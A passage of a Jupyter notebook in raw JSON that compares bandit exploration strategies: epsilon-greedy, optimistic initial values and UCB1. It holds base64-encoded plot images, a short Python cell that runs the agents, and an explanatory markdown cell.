iIiKiBksng+Wvv/4KsViM0aNH\n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\n339fcHd3F15//XVh37596uNKS0uFsLAwwcvLS/Dw8BCWLFkiqFSqevwm9E9yuVw93dDDhw95L3XU\n7du3hffee09wd3cX5HK5sH//fkEQeE911fHjx4U333xTcHV1FXx8fISoqChBEHg/dc25c+c0phuq\nyf2LjIwUvL29BVdXVyEwMFB48ODBc68vEgTOZEpERERENddgusKJiIiIqHYxWBIRERGRVjBYEhER\nEZFWMFgSERERkVYwWBIRERGRVjBYEhEREZFWMFgSERERkVZI6rsAIqL6MGfOHOzfvx8ikQj/nM5X\nJBJhypQpcHd3h7+/Py5dulQn7z4uLCzE6tWrceTIEWRkZMDS0hJyuRzTpk2DmZkZAKCgoACRkZEY\nPnx4rddDRFRVnCCdiBqkvLw8FBcXAwDi4uIwffp0HD9+HFKpFABgaGgIqVSKnJwcmJub10lN77//\nPtLT0/HRRx+hZcuWuHPnDpYtWwaxWIw9e/YAANauXYszZ85g165ddVITEVFVsMWSiBokY2NjGBsb\nA4D63bdNmzat0DJZV6EyLy8PR48exe7du+Hk5AQAaNGiBZYvX47Bgwfj6tWrcHR0rJNaiIiqi89Y\nEhE9RWxsLBwcHKBQKAAADg4OiIyMhJ+fH1555RW89957SEtLw8cffwwXFxf0798fsbGx6uMzMjIw\nffp0dOvWDb169UJoaCgKCgqeej2RSITTp09rrLOzs0NERATat2+P/fv3Y+3atbh48SI6deoEAFAq\nlVi2bBlee+01vPrqq5g0aRLu3LmjPl4ul+M///kPRowYAWdnZ7zzzjtISEjQ5s9ERKTGYElE9Awi\nkUhjeeXKlViwYAF27NiBK1euwM/PD507d8a+ffvQrl07hIaGqvedOnUqZDIZ9u7di7Vr1+L333/H\nvHnznngdY2NjjBgxAmvWrEHfvn0RGhqKn376CXl5ebC3t4e+vj4GDRqE//u//4OjoyPOnj2rric2\nNhbr1q3D7t270axZM/j7+6vDMACsXr0ab731Fr7//nuYm5tjwoQJGtuJiLSFwZKIqArGjh0LV1dX\ndO3aFd27d4e1tTXGjRsHW1tbjB49GsnJyRAEATExMUhOTsbnn38OOzs7ODk5YcmSJYiMjER6evoT\nz71o0SJ8+umnsLS0xJ49ezBjxgz07NkT27ZtAwA0atQIRkZGkEqlaNq0KYqLi7Fjxw6EhobC2dkZ\ndnZ2WLhwIUpLS3HkyBH1ef38/DBixAjY29tj8eLFyMnJwYkTJ+ri5yKiBobPWBIRVYG1tbX6s4GB\nAdq0aaNelslkUKlUKCkpQWJiIh49egQ3NzeN4/X09JCUlITmzZs/8fwjR47EyJEjkZOTg7Nnz2L3\n7t3497//jbZt2+L111/X2Pf27dtQKBQYO3asxnqFQoHk5GT1squrq/qzsbExbG1t8eeff1b5uxMR\nPQ+DJRFRFUgkmv9s6uk9ueNHqVTC2toamzdvrrDN0tKywrrY2Fj8+uuvmD59OoCyAUWDBg3CwIED\nMXz4cJw9e7ZCsCwtLQUAbN++XT0AqZyJiYn6s1gs1timUqkqrCMi0gZ2hRMR1QJ7e3ukp6fD2NgY\nbdq0QZs2baBQKPD5558jLy+vwv65ubnYtGmTxsAboOwZT0NDQzRp0qTCMdbW1pBIJHjw4IH6GuUj\nyW/cuKHe7/r16xrXuXXrFjp27KjFb0tEVIbBkojoGao61W/5/q+99hrs7Owwa9YsXLt2DVeuXMHH\nH3+Mhw8fwsLCosJxr7/+OhwdHTFhwgRERkYiNTUV8fHxWLZsGf7880+MHDkSAGBkZIT79+/jzp07\nMDQ0xJgxYxAaGoozZ84gOTkZ8+bNw7lz52Bvb68+986dO/HTTz8hISEBc+bMQatWreDl5VWDX4WI\n6MnYFU5E9AyPjwr/5wjxZ+0vEomwYcMGLF68GGPHjoVEIjDA380AAADSSURBVEHPnj0xd+7cJx4n\nFouxdetWrFu3DmFhYUhLS4NMJoOHhwd27tyJZs2aAQC8vb2xa9cu+Pn5ISoqCh999BHEYjFmz56N\n/Px8dOnSBdu2bdMIr8OHD8emTZuQnJwMDw8PbN68mV3hRFQr+OYdIqKXmFwuR2BgIEaPHl3fpRBR\nA8CucCIiIiLSCgZLIqKXWGW674mItIVd4URERESkFWyxJCIiIiKtYLAkIiIiIq1gsCQiIiIirWCw\nJCIiIiKtYLAkIiIiIq1gsCQiIiIirfh/1RIaLNO5Fa4AAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x103f10e48>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "agents = [\n", " bd.Agent(bandit, bd.EpsilonGreedyPolicy(0.1)),\n", " bd.Agent(bandit, bd.GreedyPolicy(), prior=5)\n", "]\n", "env = bd.Environment(bandit, agents, 'Optimistic Initial Values')\n", "scores, optimal = env.run(n_trials, n_experiments)\n", "env.plot_results(scores, optimal)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Upper Confidence Bound (UCB1)\n", "Instead of randomly exploring arms, it would be better to try arms that we have less condifence in our estimates. The UCB1 algorithm provides a straightforward way to do this by adding in an exploration factor (based on the number of times the arm has been selected in the past) to the existing value estimate and then greedily selects the modified estiamtes." ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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